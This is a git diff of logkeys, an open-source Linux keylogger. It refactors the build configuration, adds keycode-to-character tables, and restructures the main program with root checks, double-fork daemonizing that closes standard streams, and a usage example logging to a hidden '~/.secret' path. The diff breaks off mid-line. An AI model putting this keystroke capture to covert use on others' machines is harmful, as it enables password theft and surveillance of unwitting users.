diff --git a/INSTALL b/INSTALL index 679bfcf..490ecf4 100644 --- a/INSTALL +++ b/INSTALL @@ -13,29 +13,10 @@ repositories, manual installation of logkeys from source is as easy as: ( become superuser now ) # you need root to install in system dir # make install # installs binaries, manuals and scripts -That's it. If everything went through fine, you can probably start using it. +That's it. + +To ever uninstall logkeys, remove accompanying scripts and manuals, issue + + # make uninstall # in the same logkeys-0.1.0/build dir from before See README file for usage instructions and notes. - - -To install the binaries in path other than /usr/local/bin, use configure with ---prefix switch, for example: - - $ ../configure --prefix=/usr - -Along with other standard configure options, you can also use: - - $ ../configure --enable-evdev-path=PATH - -to have logkeys look for input event devices in PATH ( $(PATH)/eventX ) instead -of preconfigured default /dev/input (/dev/input/eventX), and - - $ ../configure --enable-evdev=DEV - -to have logkeys define static event device DEV (i.e. /dev/input/eventX) instead -of looking for it in default /dev/input path or custom evdev-path. - -The input event device we are referring to, here, is the kernel event interface -echoing keyboard events. If using either of these two --enable-evdev* -switches, make sure you provided correct PATH/DEV. - diff --git a/Makefile.am b/Makefile.am index ddea21d..2a7f9ec 100644 --- a/Makefile.am +++ b/Makefile.am @@ -1,3 +1,3 @@ AUTOMAKE_OPTIONS = foreign SUBDIRS = src man scripts -EXTRA_DIST = build man/logkeys.8 scripts/lkl scripts/lklk \ No newline at end of file +EXTRA_DIST = src/keytables.cc build man/logkeys.8 scripts/lkl scripts/lklk \ No newline at end of file diff --git a/Makefile.in b/Makefile.in index 6a49044..6f0b301 100644 --- a/Makefile.in +++ b/Makefile.in @@ -34,7 +34,7 @@ POST_UNINSTALL = : subdir = . DIST_COMMON = README $(am__configure_deps) $(srcdir)/Makefile.am \ $(srcdir)/Makefile.in $(srcdir)/config.h.in \ - $(top_srcdir)/configure COPYING INSTALL TODO depcomp \ + $(top_srcdir)/configure COPYING ChangeLog INSTALL TODO depcomp \ install-sh missing ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 am__aclocal_m4_deps = $(top_srcdir)/configure.ac @@ -190,7 +190,7 @@ top_builddir = @top_builddir@ top_srcdir = @top_srcdir@ AUTOMAKE_OPTIONS = foreign SUBDIRS = src man scripts -EXTRA_DIST = build man/logkeys.8 scripts/lkl scripts/lklk +EXTRA_DIST = src/keytables.cc build man/logkeys.8 scripts/lkl scripts/lklk all: config.h $(MAKE) $(AM_MAKEFLAGS) all-recursive diff --git a/README b/README index 4e64019..f3a4a46 100644 --- a/README +++ b/README @@ -16,7 +16,7 @@ =============================================================================== logkeys is dual licensed under the terms of either GNU GPLv3 or later, or WTFPLv2 or later. It is entirely your choice! See COPYING for further -licensing information. +information about licensing. +------------------------------------------------ @@ -44,34 +44,12 @@ repositories, manual installation of logkeys from source is as easy as: ( become super↙user now ) # you need root to install in system dir # make install # installs binaries, manuals and scripts -That's it. If everything went through fine (as it mostly should, I think), you -can probably skip ahead to the next section now. +That's it. To ever uninstall logkeys, remove accompanying scripts and manuals, issue # make uninstall # in the same logkeys-0.1.0/build dir from before -To install the binaries in path other than /usr/local/bin, use configure with ---prefix switch, for example: - - $ ../configure --prefix=/usr - -Along with other standard configure options, you can also use: - - $ ../configure --enable-evdev-path=PATH - -to have logkeys look for input event devices in PATH ( $(PATH)/eventX ) instead -of preconfigured default /dev/input (/dev/input/eventX), and - - $ ../configure --enable-evdev=DEV - -to have logkeys define static event device DEV (i.e. /dev/input/eventX) instead -of looking for it in default /dev/input path or custom evdev-path. - -The input event device we are referring to, here, is the kernel event interface -echoing keyboard events. If using either of these two --enable-evdev* -switches, make sure you provided correct PATH/DEV. - A copy of these instructions is in the accompanying INSTALL file. @@ -169,7 +147,8 @@ Report any bugs and request reasonable features on the issues list page http://code.google.com/p/logkeys/issues . -Always provide descriptively keyworded summary and description. +When opening new issues, always provide descriptively keyworded summary and +description. You are more than welcome to implement unreasonable features yourself, as well as hack the program to your liking. diff --git a/TODO b/TODO index ee6a416..cd6985c 100644 --- a/TODO +++ b/TODO @@ -1,6 +1,6 @@ --> Add USB keyboard support. - --> Add support for mouse events (i.e. on mouse click the focus may have changed). - -> Add support for sending logs via mail or POSTing them to remote server. + +-> Also log title of the focused window + +-> Add support for mouse events (i.e. on mouse click the focus may have changed). diff --git a/config.h.in b/config.h.in index c8ed224..aa37bdc 100644 --- a/config.h.in +++ b/config.h.in @@ -3,6 +3,9 @@ /* Define to 1 if you have the `atoi' function. */ #undef HAVE_ATOI +/* Define to 1 if you have the header file. */ +#undef HAVE_CASSERT + /* Define to 1 if you have the header file. */ #undef HAVE_CERRNO @@ -21,6 +24,18 @@ /* Define to 1 if you have the header file. */ #undef HAVE_CSTRING +/* Define to 1 if you have the `error' function. */ +#undef HAVE_ERROR + +/* Define to 1 if you have the `error_at_line' function. */ +#undef HAVE_ERROR_AT_LINE + +/* Define to 1 if you have the header file. */ +#undef HAVE_ERROR_H + +/* Define to 1 if you have the `exit' function. */ +#undef HAVE_EXIT + /* Define to 1 if you have the `fclose' function. */ #undef HAVE_FCLOSE @@ -51,12 +66,12 @@ /* Define to 1 if you have the `fscanf' function. */ #undef HAVE_FSCANF -/* Define to 1 if you have the `getcwd' function. */ -#undef HAVE_GETCWD - /* Define to 1 if you have the `geteuid' function. */ #undef HAVE_GETEUID +/* Define to 1 if you have the `getgid' function. */ +#undef HAVE_GETGID + /* Define to 1 if you have the header file. */ #undef HAVE_GETOPT_H @@ -66,6 +81,9 @@ /* Define to 1 if you have the `getpid' function. */ #undef HAVE_GETPID +/* Define to 1 if you have the `getuid' function. */ +#undef HAVE_GETUID + /* Define to 1 if you have the header file. */ #undef HAVE_INTTYPES_H @@ -84,6 +102,9 @@ /* Define to 1 if you have the `memset' function. */ #undef HAVE_MEMSET +/* Define to 1 if you have the `on_exit' function. */ +#undef HAVE_ON_EXIT + /* Define to 1 if you have the `open' function. */ #undef HAVE_OPEN @@ -93,8 +114,11 @@ /* Define to 1 if you have the `remove' function. */ #undef HAVE_REMOVE -/* Define to 1 if you have the `setgid' function. */ -#undef HAVE_SETGID +/* Define to 1 if you have the `setegid' function. */ +#undef HAVE_SETEGID + +/* Define to 1 if you have the `seteuid' function. */ +#undef HAVE_SETEUID /* Define to 1 if you have the `setlocale' function. */ #undef HAVE_SETLOCALE @@ -102,9 +126,6 @@ /* Define to 1 if you have the `setsid' function. */ #undef HAVE_SETSID -/* Define to 1 if you have the `setuid' function. */ -#undef HAVE_SETUID - /* Define to 1 if you have the `sigaction' function. */ #undef HAVE_SIGACTION @@ -186,12 +207,6 @@ /* Define to 1 if the system has the type `_Bool'. */ #undef HAVE__BOOL -/* User defined input event device */ -#undef INPUT_EVENT_DEVICE - -/* User defined input event device path */ -#undef INPUT_EVENT_PREFIX - /* Name of package */ #undef PACKAGE diff --git a/configure b/configure index 48a9894..5b0c6ec 100755 --- a/configure +++ b/configure @@ -682,8 +682,6 @@ ac_subst_files='' ac_user_opts=' enable_option_checking enable_dependency_tracking -enable_evdev_path -enable_evdev ' ac_precious_vars='build_alias host_alias @@ -1312,8 +1310,6 @@ Optional Features: --enable-FEATURE[=ARG] include FEATURE [ARG=yes] --disable-dependency-tracking speeds up one-time build --enable-dependency-tracking do not reject slow dependency extractors - --enable-evdev-path=PATH Search for input event devices in PATH - --enable-evdev=DEV Define input event device as DEV Some influential environment variables: CXX C++ compiler command @@ -3507,53 +3503,6 @@ if test x"$FOUND_DUMPKEYS" = xno ; then as_fn_error "Required program dumpkeys is missing." "$LINENO" 5 fi -# Add --enable-evdev-path option -# Check whether --enable-evdev-path was given. -if test "${enable_evdev_path+set}" = set; then : - enableval=$enable_evdev_path; -cat >>confdefs.h <<_ACEOF -#define INPUT_EVENT_PREFIX "$enableval" -_ACEOF - - as_ac_File=`$as_echo "ac_cv_file_$enableval" | $as_tr_sh` -{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $enableval" >&5 -$as_echo_n "checking for $enableval... " >&6; } -if { as_var=$as_ac_File; eval "test \"\${$as_var+set}\" = set"; }; then : - $as_echo_n "(cached) " >&6 -else - test "$cross_compiling" = yes && - as_fn_error "cannot check for file existence when cross compiling" "$LINENO" 5 -if test -r "$enableval"; then - eval "$as_ac_File=yes" -else - eval "$as_ac_File=no" -fi -fi -eval ac_res=\$$as_ac_File - { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 -$as_echo "$ac_res" >&6; } -eval as_val=\$$as_ac_File - if test "x$as_val" = x""yes; then : - -else - as_fn_error "PATH provided in --enable-evdev-path does not exist. $enableval is not a valid directory!" "$LINENO" 5 - -fi - - - -fi - -# Add --enable-evdev option -# Check whether --enable-evdev was given. -if test "${enable_evdev+set}" = set; then : - enableval=$enable_evdev; -cat >>confdefs.h <<_ACEOF -#define INPUT_EVENT_DEVICE "$enableval" -_ACEOF - -fi - # Checks for files { $as_echo "$as_me:${as_lineno-$LINENO}: checking for /dev/input" >&5 $as_echo_n "checking for /dev/input... " >&6; } @@ -3573,7 +3522,7 @@ $as_echo "$ac_cv_file__dev_input" >&6; } if test "x$ac_cv_file__dev_input" = x""yes; then : else - as_fn_error "Input event interface devices not at expected path! Use --enable-evdev-path to set the location of input event devices, e.g., ./configure --enable-evdev-path=/dev/input/ for event devices /dev/input/eventX." "$LINENO" 5 + as_fn_error "Input event interface devices not found in expected location /dev/input/eventX !" "$LINENO" 5 fi @@ -3996,7 +3945,7 @@ fi done -for ac_header in cstdio cerrno cstring sstream cstdlib csignal unistd.h getopt.h sys/file.h linux/input.h +for ac_header in cstdio cerrno cstring cassert sstream cstdlib csignal error.h unistd.h getopt.h sys/file.h sys/stat.h linux/input.h do : as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh` ac_fn_cxx_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default" @@ -4007,7 +3956,7 @@ eval as_val=\$$as_ac_Header _ACEOF else - as_fn_error "Expected header missing!" "$LINENO" 5 + as_fn_error "Expected header file is missing!" "$LINENO" 5 fi @@ -4440,7 +4389,7 @@ $as_echo "#define HAVE_WORKING_FORK 1" >>confdefs.h fi -for ac_func in geteuid getcwd memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setgid setuid strftime localtime fflush read sleep time +for ac_func in geteuid error error_at_line exit on_exit memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid getuid getgid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setegid seteuid strftime localtime fflush read sleep time do : as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh` ac_fn_cxx_check_func "$LINENO" "$ac_func" "$as_ac_var" @@ -4451,7 +4400,7 @@ eval as_val=\$$as_ac_var _ACEOF else - as_fn_error "Expected function missing!" "$LINENO" 5 + as_fn_error "Expected function is missing!" "$LINENO" 5 fi done diff --git a/configure.ac b/configure.ac index 20b4411..3120f0a 100644 --- a/configure.ac +++ b/configure.ac @@ -27,30 +27,11 @@ if test x"$FOUND_DUMPKEYS" = xno ; then AC_MSG_ERROR([Required program dumpkeys is missing.]) fi -# Add --enable-evdev-path option -AC_ARG_ENABLE( - [evdev-path], - [ --enable-evdev-path=PATH Search for input event devices in PATH], - [AC_DEFINE_UNQUOTED([INPUT_EVENT_PREFIX], ["$enableval"], [User defined input event device path]) - AC_CHECK_FILE( - [$enableval], - [], - AC_MSG_ERROR([PATH provided in --enable-evdev-path does not exist. $enableval is not a valid directory!]) - ) - ] -) -# Add --enable-evdev option -AC_ARG_ENABLE( - [evdev], - [ --enable-evdev=DEV Define input event device as DEV], - [AC_DEFINE_UNQUOTED([INPUT_EVENT_DEVICE], ["$enableval"], [User defined input event device])], - [] -) # Checks for files AC_CHECK_FILE( [/dev/input], [], - [AC_MSG_ERROR([Input event interface devices not at expected path! Use --enable-evdev-path to set the location of input event devices, e.g., ./configure --enable-evdev-path=/dev/input/ for event devices /dev/input/eventX.])] + [AC_MSG_ERROR([Input event interface devices not found in expected location /dev/input/eventX !])] ) AC_CHECK_FILE( [/proc/bus/input/devices], @@ -60,9 +41,9 @@ AC_CHECK_FILE( # Checks for header files. AC_CHECK_HEADERS( - [cstdio cerrno cstring sstream cstdlib csignal unistd.h getopt.h sys/file.h linux/input.h], + [cstdio cerrno cstring cassert sstream cstdlib csignal error.h unistd.h getopt.h sys/file.h sys/stat.h linux/input.h], [], - [AC_MSG_ERROR([Expected header missing!])] + [AC_MSG_ERROR([Expected header file is missing!])] ) # Checks for typedefs, structures, and compiler characteristics. @@ -75,9 +56,9 @@ AC_TYPE_SIZE_T AC_FUNC_ERROR_AT_LINE AC_FUNC_FORK AC_CHECK_FUNCS( - [geteuid getcwd memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setgid setuid strftime localtime fflush read sleep time], + [geteuid error error_at_line exit on_exit memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid getuid getgid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setegid seteuid strftime localtime fflush read sleep time], [], - [AC_MSG_ERROR([Expected function missing!])] + [AC_MSG_ERROR([Expected function is missing!])] ) AC_CONFIG_FILES([Makefile src/Makefile man/Makefile scripts/Makefile]) diff --git a/src/keytables.cc b/src/keytables.cc new file mode 100644 index 0000000..fbfbcc1 --- /dev/null +++ b/src/keytables.cc @@ -0,0 +1,90 @@ +#ifndef _DEFAULT_KEYS_H_ +#define _DEFAULT_KEYS_H_ + +#include +#include + +// these are ordered default US keymap keys +wchar_t char_keys[49] = L"1234567890-=qwertyuiop[]asdfghjkl;'`\\zxcvbnm,./<"; +wchar_t shift_keys[49] = L"!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:\"~|ZXCVBNM<>?>"; +wchar_t altgr_keys[49] = {0}; // old, US don't use AltGr key: L"\0@\0$\0\0{[]}\\\0qwertyuiop\0~asdfghjkl\0\0\0\0zxcvbnm\0\0\0|"; // \0 on no symbol; as obtained by `loadkeys us` +// TODO: add altgr_shift_keys[] + +char func_keys[][8] = { + "", "", "", "", "", "", "", "", "", " ", "", "", "", "", "", "", + "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", + "", "", "", "", /*"<",*/ "", "", "", "", "", "", "", "" /*linefeed?*/, "", "", "", + "", "", "", "", "", "", "", "", "", "", "" +}; + +const char char_or_func[] = // c = character key, f = function key, _ = blank/error ('_' is used, don't change); all according to KEY_* defines from + "_fccccccccccccff" + "ccccccccccccffcc" + "ccccccccccfccccc" + "ccccccffffffffff" + "ffffffffffffffff" + "ffff__cff_______" + "ffffffffffffffff" + "_______f_____fff"; +#define N_KEYS_DEFINED 106 // sum of all 'c' and 'f' chars in char_or_func[] + +inline bool is_char_key(unsigned int code) +{ + assert(code < sizeof(char_or_func)); + return (char_or_func[code] == 'c'); +} + +inline bool is_func_key(unsigned int code) +{ + assert(code < sizeof(char_or_func)); + return (char_or_func[code] == 'f'); +} + +inline bool is_used_key(unsigned int code) +{ + assert(code < sizeof(char_or_func)); + return (char_or_func[code] != '_'); +} + +// translates character keycodes to continuous array indices +inline int to_char_keys_index(unsigned int keycode) +{ + if (keycode >= KEY_1 && keycode <= KEY_EQUAL) // keycodes 2-13: US keyboard: 1, 2, ..., 0, -, = + return keycode - 2; + if (keycode >= KEY_Q && keycode <= KEY_RIGHTBRACE) // keycodes 16-27: q, w, ..., [, ] + return keycode - 4; + if (keycode >= KEY_A && keycode <= KEY_GRAVE) // keycodes 30-41: a, s, ..., ', ` + return keycode - 6; + if (keycode >= KEY_BACKSLASH && keycode <= KEY_SLASH) // keycodes 43-53: \, z, ..., ., / + return keycode - 7; + + if (keycode == KEY_102ND) return 47; // key right to the left of 'Z' on US layout + + return -1; // not character keycode +} + +// translates function keys keycodes to continuous array indices +inline int to_func_keys_index(unsigned int keycode) +{ + if (keycode == KEY_ESC) // 1 + return 0; + if (keycode >= KEY_BACKSPACE && keycode <= KEY_TAB) // 14-15 + return keycode - 13; + if (keycode >= KEY_ENTER && keycode <= KEY_LEFTCTRL) // 28-29 + return keycode - 25; + if (keycode == KEY_LEFTSHIFT) return keycode - 37; // 42 + if (keycode >= KEY_RIGHTSHIFT && keycode <= KEY_KPDOT) // 54-83 + return keycode - 48; + if (keycode >= KEY_F11 && keycode <= KEY_F12) // 87-88 + return keycode - 51; + if (keycode >= KEY_KPENTER && keycode <= KEY_DELETE) // 96-111 + return keycode - 58; + if (keycode == KEY_PAUSE) // 119 + return keycode - 65; + if (keycode >= KEY_LEFTMETA && keycode <= KEY_COMPOSE) // 125-127 + return keycode - 70; + + return -1; // not function key keycode +} + +#endif diff --git a/src/logkeys.cc b/src/logkeys.cc index f1128a2..dc03b29 100644 --- a/src/logkeys.cc +++ b/src/logkeys.cc @@ -12,48 +12,42 @@ #include #include #include +#include #include #include #include #include #include +#include "keytables.cc" // character and function key tables and helper functions + #ifdef HAVE_CONFIG_H # include // include config produced from ./configure #endif -#define DEFAULT_LOG_FILE "/var/log/logkeys.log" -#define TMP_PID_FILE "/var/run/logkeys.pid" - -#ifdef INPUT_EVENT_PREFIX // may be defined by ./configure --enable-evdev-path=PATH -# define INPUT_EVENT_PATH (INPUT_EVENT_PREFIX "/event") // in which case use it -#else -# define INPUT_EVENT_PATH "/dev/input/event" // otherwise use the default; a number is appended at runtime; one accesses keyboard e.g. via /dev/input/event1 -#endif//INPUT_EVENT_PREFIX - -#ifndef INPUT_EVENT_DEVICE -//# define INPUT_EVENT_DEVICE "/dev/input/event4" // uncomment this if you want your input event device statically defined rather than "calculated" at runtime -// better yet, use ./configure --enable-evdev=DEV to specify INPUT_EVENT_DEVICE ! -#endif//INPUT_EVENT_DEVICE - #ifndef PACKAGE_VERSION # define PACKAGE_VERSION "0.1.0" // if PACKAGE_VERSION wasn't defined in #endif -void usage() { +#define INPUT_EVENT_PATH "/dev/input/" +#define DEFAULT_LOG_FILE "/var/log/logkeys.log" +#define PID_FILE "/var/run/logkeys.pid" + +void usage() +{ fprintf(stderr, "Usage: logkeys [OPTION]...\n" "Log depressed keyboard keys.\n" "\n" " -s, --start start logging keypresses\n" " -m, --keymap=FILE use keymap FILE\n" -" -o, --output=FILE log output to FILE [" DEFAULT_LOG_FILE "]\n" +" -o, --output=FILE log output to FILE (" DEFAULT_LOG_FILE ")\n" " -u, --us-keymap use en_US keymap instead of configured default\n" " -k, --kill kill running logkeys process\n" -" -d, --device=FILE input event device [" INPUT_EVENT_PATH "X]\n" -" -?, --help print this help\n" +" -d, --device=FILE input event device (eventX from " INPUT_EVENT_PATH ")\n" +" -?, --help print this help screen\n" " --export-keymap=FILE export configured keymap to FILE and exit\n" -" --no-func-keys don't log function keys, only character keys\n" +" --no-func-keys log only character keys\n" "\n" "Examples: logkeys -s -m mylang.map -o ~/.secret/keys.log\n" " logkeys -s -d /dev/input/event6\n" @@ -65,103 +59,128 @@ void usage() { } // executes cmd and returns string ouput or "ERR" on pipe error -std::string exec(const char* cmd) { +std::string execute(const char* cmd) +{ FILE* pipe = popen(cmd, "r"); - if (!pipe) return "ERR"; + if (!pipe) + error(EXIT_FAILURE, errno, "Pipe error"); char buffer[128]; std::string result = ""; - while(!feof(pipe)) { + while(!feof(pipe)) if(fgets(buffer, 128, pipe) != NULL) result += buffer; - } pclose(pipe); return result; } -bool flag_kill = false; // kill any running logkeys process -void signal_handler(int interrupt) { - flag_kill = true; +int input_fd = -1; // input event device file descriptor; global so that signal_handler() can access it + +void signal_handler(int signal) +{ + if (input_fd != -1) + close(input_fd); // closing input file will break the infinite while loop +} +void set_utf8_locale() +{ + // set locale to common UTF-8 for wchars to be recognized correctly + if(setlocale(LC_CTYPE, "en_US.UTF-8") == NULL) { // if en_US.UTF-8 isn't available + char *locale = setlocale(LC_CTYPE, ""); // try the locale that corresponds to the value of the associated environment variable LC_CTYPE + if (locale == NULL || + strstr(locale, "UTF-8") == NULL || strstr(locale, "UTF8") == NULL || + strstr(locale, "utf-8") == NULL || strstr(locale, "utf8") == NULL) + error(EXIT_FAILURE, 0, "LC_CTYPE locale must be of UTF-8 type"); + } +} +void exit_cleanup(int status, void * discard) +{ + // TODO: } -// translates character keycodes to continuous array indices -inline int to_char_array_index(int keycode) { - if (keycode >= KEY_1 && keycode <= KEY_EQUAL) // keycodes 2-13: US keyboard: 1, 2, ..., 0, -, = - return keycode - 2; - if (keycode >= KEY_Q && keycode <= KEY_RIGHTBRACE) // keycodes 16-27: q, w, ..., [, ] - return keycode - 4; - if (keycode >= KEY_A && keycode <= KEY_GRAVE) // keycodes 30-41: a, s, ..., ', ` - return keycode - 6; - if (keycode >= KEY_BACKSLASH && keycode <= KEY_SLASH) // keycodes 43-53: \, z, ..., ., / - return keycode - 7; +void kill_existing_process() +{ + pid_t pid; + bool via_file = true; + bool via_pipe = true; + FILE *temp_file = fopen(PID_FILE, "r"); - if (keycode == KEY_102ND) return 47; + via_file &= (temp_file != NULL); - return -1; // not character keycode + if (via_file) { // kill process with pid obtained from PID file + via_file &= (fscanf(temp_file, "%d", &pid) == 1); + fclose(temp_file); + } + + if (!via_file) { // if reading PID from temp_file failed, try ps-grep pipe + const char *pipe_cmd = (std::string("ps ax | grep '") + program_invocation_name + "' | grep -v grep").c_str(); + via_pipe &= (sscanf(execute(pipe_cmd).c_str(), "%d", &pid) == 1); + via_pipe &= (pid != getpid()); + } + + if (via_file || via_pipe) { + remove(PID_FILE); + kill(pid, SIGINT); + + exit(EXIT_SUCCESS); + } + + error(EXIT_FAILURE, 0, "No process killed"); } -// translates function keys keycodes to continuous array indices -inline int to_func_array_index(int keycode) { - if (keycode == KEY_ESC) // 1 - return 0; - if (keycode >= KEY_BACKSPACE && keycode <= KEY_TAB) // 14-15 - return keycode - 13; - if (keycode >= KEY_ENTER && keycode <= KEY_LEFTCTRL) // 28-29 - return keycode - 25; - if (keycode == KEY_LEFTSHIFT) return keycode - 37; // 42 - if (keycode >= KEY_RIGHTSHIFT && keycode <= KEY_KPDOT) // 54-83 - return keycode - 48; - if (keycode >= KEY_F11 && keycode <= KEY_F12) // 87-88 - return keycode - 51; - if (keycode >= KEY_KPENTER && keycode <= KEY_DELETE) // 96-111 - return keycode - 58; - if (keycode == KEY_PAUSE) // 119 - return keycode - 65; - if (keycode >= KEY_LEFTMETA && keycode <= KEY_COMPOSE) // 125-127 - return keycode - 70; - - return -1; // not function key keycode +void set_signal_handling() +{ // catch SIGHUP, SIGINT and SIGTERM signals to exit gracefully + struct sigaction act = {}; + act.sa_handler = signal_handler; + sigaction(SIGHUP, &act, NULL); + sigaction(SIGINT, &act, NULL); + sigaction(SIGTERM, &act, NULL); } -int main(int argc, char **argv) { +void daemonize() +{ + if ( getppid() == 1 ) return; // if already a daemon, return - char func_keytable[][8] = { - "", "", "", "", "", "", "", "", "", " ", "", "", "", "", "", "", - "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", - "", "", "", "", /*"<",*/ "", "", "", "", "", "", "", "" /*linefeed?*/, "", "", "", - "", "", "", "", "", "", "", "", "", "", "" - }; + switch (fork()) { + case 0: break; // child continues + case -1: error(EXIT_FAILURE, errno, "Error creating child process"); + default: _exit(EXIT_SUCCESS); // parent exits + } - wchar_t char_keytable[49] = L"1234567890-=qwertyuiop[]asdfghjkl;'`\\zxcvbnm,./<"; - wchar_t shift_keytable[49] = L"!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:\"~|ZXCVBNM<>?>"; - wchar_t altgr_keytable[49] = {0}; // old, US don't use AltGr key: L"\0@\0$\0\0{[]}\\\0qwertyuiop\0~asdfghjkl\0\0\0\0zxcvbnm\0\0\0|"; // \0 on no symbol; as obtained by `loadkeys us` + setsid(); + if(chdir("/")); // wrapped in if() to avoid compiler warning - const char char_or_func[] = // c means character key, f means function key, _ is blank/error (_ used, don't change); all according to KEY_* defines from - "_fccccccccccccff" - "ccccccccccccffcc" - "ccccccccccfccccc" - "ccccccffffffffff" - "ffffffffffffffff" - "ffff__cff_______" - "ffffffffffffffff" - "_______f_____fff"; + switch (fork()) { + case 0: break; // second child continues + case -1: error(EXIT_FAILURE, errno, "Error creating 2nd child process"); + default: _exit(EXIT_SUCCESS); // parent exits + } - if (geteuid()) { fprintf(stderr, "Got r00t?\n"); return EXIT_FAILURE; } - - if (argc < 2) { usage(); return EXIT_FAILURE; } - - bool flag_start = false; // start logger - // bool flag_kill; is defined global for signal_handler to access it - bool flag_us_keymap = false; // use default us keymap if dynamic keymap unavailable - bool flag_keymap = false; // use keymap specified by keymap_filename - int flag_export = 0; // export dynamically created keymap - int flag_nofunc = 0; // only log character keys (e.g. 'c', '2', 'O', etc.) and don't log function keys (e.g. , etc.) - - char *log_filename = (char*) DEFAULT_LOG_FILE; // default log file - char log_file_path[512]; // don't use paths longer than 512 B !! - char *keymap_filename = NULL; // path to keymap file to be used - char *device_filename = NULL; // path to input event device if given with -d switch + close(STDIN_FILENO); // drop stdin, stdout, stderr + close(STDOUT_FILENO); + close(STDERR_FILENO); +} //\ daemon +struct arguments { + bool start; // start keylogger, -s switch + bool kill; // stop keylogger, -k switch + bool us_keymap; // use default US keymap, -u switch + int export_keymap; // export keymap obtained from dumpkeys, --export-keymap + int nofunc; // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. , etc.), --no-func-keys switch + char * logfile; // user-specified log filename, -o switch + char * keymap; // user-specified keymap file, -m switch or --export-keymap + char * device; // user-specified input event device, given with -d switch +} args = {0}; // default all args to 0x0 + +int main(int argc, char **argv) +{ + on_exit(exit_cleanup, NULL); + + if (geteuid()) { error(EXIT_FAILURE, errno, "Got r00t?"); } + + // default log file will be used if none specified + char *default_logfile = (char*) DEFAULT_LOG_FILE; + args.logfile = default_logfile; + { // process options and arguments struct option long_options[] = { @@ -173,8 +192,8 @@ int main(int argc, char **argv) { {"device", required_argument, 0, 'd'}, {"help", no_argument, 0, '?'}, #define EXPORT_KEYMAP_INDEX 7 - {"export-keymap", required_argument, &flag_export, 1}, // option_index is 7 - {"no-func-keys", no_argument, &flag_nofunc, 1}, + {"export-keymap", required_argument, &args.export_keymap, 1}, // option_index of export-keymap is EXPORT_KEYMAP_INDEX (7) + {"no-func-keys", no_argument, &args.nofunc, 1}, {0, 0, 0, 0} }; @@ -183,133 +202,96 @@ int main(int argc, char **argv) { while ((c = getopt_long(argc, argv, "sm:o:ukd:?", long_options, &option_index)) != -1) switch (c) { - case 's': flag_start = true; break; - case 'm': flag_keymap = true; keymap_filename = optarg; break; - case 'o': log_filename = optarg; break; - case 'u': flag_us_keymap = true; break; - case 'k': flag_kill = true; break; - case 'd': device_filename = optarg; break; + case 's': args.start = true; break; + case 'm': args.keymap = optarg; break; + case 'o': args.logfile = optarg; break; + case 'u': args.us_keymap = true; break; + case 'k': args.kill = true; break; + case 'd': args.device = optarg; break; case 0 : if (option_index == EXPORT_KEYMAP_INDEX) - keymap_filename = optarg; - break; // + flag_export or flag_nofunc already set + args.keymap = optarg; + break; - case '?': usage(); return EXIT_SUCCESS; - default : usage(); return EXIT_FAILURE; + case '?': usage(); exit(EXIT_SUCCESS); + default : usage(); exit(EXIT_FAILURE); } while(optind < argc) - fprintf(stderr, "%s: Non-option argument %s\n", argv[0], argv[optind++]); + error(0, 0, "Non-option argument %s", argv[optind++]); } //\ arguments // kill existing logkeys process - if (flag_kill) { - //~ if (readlink(TMP_PID_FILE, NULL, 0) != -1) { - //~ // TMP_PID_FILE is a symbolic link; stay safe from any "symlink attack" - //~ fprintf(stderr, "%s: " TMP_PID_FILE " is a symbolic link. Malicious?\n", argv[0]); - //~ return EXIT_FAILURE; - //~ } - FILE *temp_file = fopen(TMP_PID_FILE, "r"); - pid_t pid; - if ((temp_file != NULL && fscanf(temp_file, "%d", &pid) == 1 && fclose(temp_file) == 0) || - (sscanf(exec((std::string("ps ax | grep '") + argv[0] + "' | grep -v grep").c_str()).c_str(), "%d", &pid) == 1 && pid != getpid())) { // if reading PID from temp_file failed, try ps pipe - remove(TMP_PID_FILE); - kill(pid, SIGINT); - return EXIT_SUCCESS; - } - fprintf(stderr, "%s: No process killed.\n", argv[0]); - return EXIT_FAILURE; - } else if (!flag_start && !flag_export) { usage(); return EXIT_FAILURE; } + if (args.kill) kill_existing_process(); + else if (!args.start && !args.export_keymap) { usage(); exit(EXIT_FAILURE); } // check for incompatible flags - if (flag_keymap && flag_us_keymap) { - fprintf(stderr, "%s: Incompatible flags '-m' and '-u'\n", argv[0]); - usage(); - return EXIT_FAILURE; + if (args.keymap && args.us_keymap) { + error(EXIT_FAILURE, 0, "Incompatible flags '-m' and '-u'. See usage."); } - // if user provided a relative path to output file :/ stupid user :/ - // TODO: use char*canonicalize_file_name(const char *name) instead - if (log_filename[0] != '/') { - if (getcwd(log_file_path, sizeof(log_file_path) - strlen(log_filename) - 2 /* '/' and '\0' */) == NULL) { - fprintf(stderr, "%s: Error copying CWD: %s%s\n", argv[0], strerror(errno), - (errno == ERANGE ? " (CWD path too long, GO FUCK YOURSELF!!)" : "")); - return EXIT_FAILURE; - } - strcat(log_file_path, "/"); - strncat(log_file_path, log_filename, sizeof(log_file_path) - strlen(log_file_path)); - log_filename = log_file_path; - } - - // set locale to common UTF-8 for wchars to be recognized correctly - if(setlocale(LC_CTYPE, "en_US.UTF-8") == NULL) // if en_US.UTF-8 isn't available - setlocale(LC_CTYPE, ""); // try the locale that corresponds to the value of the associated environment variables, LC_CTYPE and LANG - // else just leave the burden of possible Fail to the user, without any warning :D + set_utf8_locale(); // read keymap from file - if (flag_start && flag_keymap && !flag_export) { + if (args.start && args.keymap && !args.export_keymap) { - // custom map will be used; erase existing US keymapping - memset(char_keytable, 